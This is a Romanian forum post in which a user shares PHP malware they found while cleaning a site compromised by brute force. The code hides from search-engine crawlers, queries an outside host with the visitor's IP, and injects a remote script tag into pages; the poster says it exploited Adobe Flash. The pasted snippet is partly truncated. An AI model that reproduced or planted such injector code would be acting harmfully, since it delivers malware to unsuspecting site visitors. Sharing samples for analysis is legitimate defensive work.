Jump to content
dsp77

Site virusat cod PHP downloader

Recommended Posts

Posted

am curatat un site mai devreme care a fost spart de un bot prin brute force (parola de 5 caractere) si postez codul gasit in cazul in care cineva este interesat.

<?php
if (empty($y)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@FreAd($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}

if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$y = "http://kilian.com.pl/k9zxjln4.php";
$y = __url_get_contents($y."?a=$_ip", 1);
if (strpos($y, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $y . '?id=95748648"></script>';
echo $__var_to_echo;
}
}
}
}
?>

se pare ca pagina de unde descarca fisierul nu mai exista. in orice caz se exploata adobe flash.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...